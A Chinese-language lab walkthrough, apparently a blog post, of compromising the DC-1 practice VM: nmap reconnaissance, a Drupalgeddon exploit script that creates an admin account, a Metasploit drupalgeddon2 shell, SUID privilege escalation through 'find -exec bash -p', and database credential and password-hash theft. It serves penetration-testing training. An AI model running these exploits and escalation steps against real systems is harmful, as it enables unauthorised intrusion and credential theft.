1. 实验环境准备

本次实验使用两台虚拟机:

  • 攻击机:Kali Linux
  • 靶机:DC-1

两台虚拟机全部设置为 NAT 模式,保证它们处于同一网段,可以互相通信。

在这里插入图片描述

2. 信息收集

信息收集是渗透测试的第一步,目标是摸清靶机 IP、开放端口和运行的服务。

2.1 查看攻击机自身 IP

在 Kali 中执行 ip a,查看攻击机自身 IP 地址。

ip a

从输出可以看到 Kali 攻击机的 IP 地址。

在这里插入图片描述

2.2 网段扫描,发现靶机 IP

使用 nmap 对当前网段进行存活主机扫描,找出靶机 IP。

nmap -sn 192.168.174.0/24 -oG -

扫描局域网存活主机,得到靶机 IP:192.168.174.135。
在这里插入图片描述

2.3 端口服务版本扫描

对靶机 IP 进行端口和服务版本扫描。

nmap -sV 192.168.174.135

扫描结果开放端口:

  • 22:ssh 服务
  • 80:Apache http 网页服务
  • 111:rpcbind

在这里插入图片描述

2.4 CMS 识别

浏览器访问靶机地址 http://192.168.174.135,页面是 Drupal 网站。

在这里插入图片描述

whatweb http://192.168.174.135

在这里插入图片描述

识别 CMS 版本为 Drupal 7。

3. Searchsploit 漏洞脚本利用,新增网站管理员账号

Drupal 7 存在 CVE-2014-3704 Drupalgeddon SQL 注入漏洞,可以直接创建网站后台管理员。

3.1 搜索 Drupal 漏洞

searchsploit drupal

找到 34992.py 漏洞脚本。

在这里插入图片描述

3.2 执行 exp 脚本,创建管理员账号

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.174.135 -u hacker -p 123

新建账号:hacker,密码:123。

在这里插入图片描述

3.3 登录 Drupal 后台,获取 flag3

浏览器访问链接:

url:http://192.168.174.135/?q=node&destination=node

输入账号 hacker / 密码 123 登录后台,点击 content 栏目找到 flag3。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

注意:仅仅网站后台权限,只能操作网页,拿不到服务器系统 shell,需要使用 Metasploit 获取服务器权限。

4. Metasploit 框架攻击,获取 meterpreter 会话

4.1 检索Drupal漏洞模块

使用searchsploit工具检索Exploit-DB漏洞库,搜索Drupal相关漏洞,过滤出集成在Metasploit框架的漏洞利用模块。

searchsploit drupal | grep Metasploit

在这里插入图片描述

4.2 初始化MSF数据库

sudo su(若是root权限,则可以不用操作此行代码)
systemctl start postgresql.service
msfdb init
msfconsole
db_status

看到提示 connected 说明数据库连接正常。

【配图:启动 postgresql、msfdb init 截图】

【配图:msfconsole 启动、db_status 状态截图】

4.3 加载 drupalgeddon2 漏洞模块

search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 192.168.174.135
show options
exploit

执行 exploit 攻击成功,拿到 meterpreter 会话。

【配图:msf 搜索 drupal 模块截图】

【配图:show options 参数配置截图】
在这里插入图片描述

4. 4获取系统 shell,读取 flag1

在 meterpreter 交互中输入 shell 获取靶机的 Linux 命令行。

shell
id
pwd
ls
cat flag1.txt

当前用户是 www-data,Apache 网页服务低权限账号,成功读取 flag1。

【配图:meterpreter 进入 shell,cat flag1.txt 输出截图】

4.5 升级 pty 交互式 shell

meterpreter 原生 shell 交互体验差,使用 python 生成稳定交互式 bash:

python -c "import pty;pty.spawn('/bin/bash')"
id

在这里插入图片描述

4.6 全盘搜索 flag 文件

find / -name "*flag*.txt"

在这里插入图片描述
在这里插入图片描述

找到 flag4 文件,但是 /root/thefinalflag.txt 权限不足无法读取,需要本地提权。

5. SUID 提权,拿到 root 最高权限

SUID 权限知识点:设置 4000(SUID)权限的程序,普通用户运行该程序,会临时拥有文件所有者(root)的权限。

5.1 查找系统 SUID 程序

find / -perm -4000 2> /dev/null

输出结果中可以看到 /usr/bin/find 拥有 SUID 权限。

在这里插入图片描述

5.2 利用 find 命令提权

find 命令的 -exec 参数可以执行系统命令,配合 SUID 权限拿到 root shell。

find cron.php -exec bash -p \;
whoami
id

在这里插入图片描述

参数 bash -p:保留 SUID 权限,避免 bash 安全机制重置 UID。执行完成,身份变为 root。

5.3 root 读取最终 flag

find /root -name "thefinalflag.txt" -exec cat {} \;

在这里插入图片描述

拿到靶机最终 thefinalflag。

6. 读取 CMS 配置文件 + MySQL 数据库操作

6.1 读取 settings.php,拿到 flag2 与数据库账号密码

Drupal 数据库配置文件路径:/var/www/sites/default/settings.php

more /var/www/sites/default/settings.php

文件中包含 flag2,同时泄露数据库连接信息:

  • 数据库名:drupaldb
  • 用户:dbuser
  • 密码:R0ck3t

按 q 退出 more 查看器。

【配图:more 查看 settings.php 内容截图】

6.2 登录 MySQL 数据库

mysql -udbuser -pR0ck3t

在这里插入图片描述

6.3 查询 users 用户表

use drupaldb;
select name,pass from users;

在这里插入图片描述

查询出网站全部用户以及 Drupal 自研算法的密码哈希。

注意:这里的 Fred 只是网站账号,不是 Linux 系统本地用户,无法 su fred 切换系统用户。Drupal 哈希很难直接解密。

7. 全部 Flag 汇总

  1. flag1:/var/www/flag1.txt
  2. flag2:/var/www/sites/default/settings.php
  3. flag3:Drupal 后台 content 页面 + MySQL users 表密码哈希
  4. flag4:/home/flag4/flag4.txt
  5. thefinalflag:/root/thefinalflag.txt

8. 实验总结

  1. Drupal 7 Drupalgeddon 漏洞,无需登录直接远程代码执行,是高危 CMS 漏洞。
  2. SUID 特殊权限是 Linux 本地提权重要突破口,find、nmap 等命令经常被用来做提权。
  3. CMS 网站配置文件保存数据库账号密码,入侵 web 服务器优先读取配置文件。
  4. www-data 属于网页低权限用户,拿到 shell 之后,必须做本地提权才能访问 root 目录。
  5. 区分网站应用账号和操作系统本地用户,网站数据库账号不一定能登录系统。
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐